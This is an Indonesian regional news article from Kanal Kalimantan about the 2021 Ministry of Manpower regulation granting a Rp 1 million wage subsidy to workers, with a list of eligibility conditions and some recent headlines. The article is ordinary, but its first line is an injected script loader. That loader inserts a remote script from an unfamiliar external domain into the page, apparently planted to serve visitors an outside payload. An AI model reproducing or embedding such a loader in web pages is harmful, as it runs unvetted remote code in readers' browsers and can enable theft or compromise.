(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Aturan Terbit, Ini Syarat Buruh Dapat Bantuan Subsidi Gaji Rp 1 Juta


KANALKALIMANTAN.COM, JAKARTA– Kementerian Ketenagakerjaan telah menerbitkan aturan resmi tentang pemberian bantuan subsidi gaji. Aturan itu tertuang dalam Peraturan Menteri Ketenagakerjaan Nomor 16 Tahun 2021.

Dalam aturan tersebut tertuang dalam pasal 3 ayat yang menjelaskan pekerja atau buruh yang akan mendapatkan bantuan ini harus memenuhi beberapa persyaratan:

Baca juga: “Rumah Makan Gratis” Senin-Jumat di Banjarbaru, Ini Lokasinya

1. Warga negara Indonesia yang dibuktikan dengan kepemilikan nomor induk kependudukan
2. Peserta aktif program jaminan sosial ketenagakerjaan BPJS Ketenagakerjaan sampai dengan bulan Juni 2021
3. Mempunyai Gaji/Upah paling banyak sebesar Rp 3,5 juta per bulan
4. Bekerja di wilayah pemberlakuan pembatasan kegiatan masyarakat level 3 dan level 4 yang ditetapkan oleh pemerintah sebagaimana tercantum dalam Lampiran I yang merupakan bagian tidak terpisahkan dari Peraturan Menteri ini
5. Diutamakan yang bekerja pada sektor usaha industri barang konsumsi, transportasi, aneka industri, properti dan real estate, perdagangan dan jasa kecuali jasa pendidikan dan kesehatan, sesuai dengan klasifikasi data sektoral di BPJS Ketenagakerjaan.

 

 

Baca juga: Suplai dari Pusat Lambat, Capaian Vaksinasi Daerah Rendah

Dalam pasal 3B disebutkan bahwa bantuan subsidi gaji ini diprioritaskan juga bagi pekerja atau buruh yang belum menerima program kartu prakerja, program keluarga harapan, atau program bantuan produktif usaha mikro.

Sekadar informasi bantuan subsidi upah 2021 ini diberikan sebesar Rp 500 ribu/per bulan. Bantuan itu diberikan dalam 2 bulan yang dicairkan sekaligus, atau buruh akan mendapatkan langsung Rp 1 juta.

Bantuan subsidi gaji 2021 akan menyasar kepada 8,8 juta pekerja non esensial yang terpaksa dirumahkan bukan terkena PHK.
Pemerintah sendiri telah menyiapkan alokasi dana Rp 8,8 triliun untuk bantuan subsidi gaji bagi para pekerja yang berada di wilayah PPKM level 3 dan 4. (detik/das)

Editor: cell


Desy Arfianty

Recent Posts

Hasnur Resmi Lamar Partai Golkar, Mencari ‘Pintu’ Koalisi Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Langkah Hasnuryadi Sulaiman untuk maju pada kontestasi Pemilihan Gubernur dan Wakil Gubernur… Read More

36 menit ago

Pasti Maju Pilwali Banjarbaru, Ovie Simpan Nama Pasangan

KANALKALIMANTAN.COM, BANJARBARU - Aditya Mufti Ariffin memastikan akan kembali berkontestasi dalam Pemilihan Kepala Daerah (Pilkada)… Read More

2 jam ago

Soal Caleg Terpilih Mundur atau Tidak Mundur Jika Maju Pilkada, Begini Penjelasan KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Anggota Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel), Fahmi Failasopa menegaskan… Read More

4 jam ago

Jalan Pangeran Suriansyah Banjarbaru Steril PKL dan Parkir Tepi Jalan

KANALKALIMANTAN.COM, BANJARBARU - Aktivitas Pedagang Kaki Lima alias PKL di sepanjang jalan Pangeran Suriansyah, Kelurahan… Read More

6 jam ago

Wapres Serahkan Motor Perpustakaan Keliling ke Pemkab HSU

KANALKALIMANTAN.COM, JAKARTA - Wakil Presiden RI, KH Ma’ruf Amin secara simbolis menyerahkan bantuan Motor Perpustakaan… Read More

7 jam ago

Hari Museum Internasional 2024 “Museum untuk Pendidikan dan Penelitian”

KANALKALIMANTAN.COM - Hari Museum Internasional yang ditetapkan oleh ICOM dan dirayakan setiap tahun pada tanggal… Read More

19 jam ago

This website uses cookies.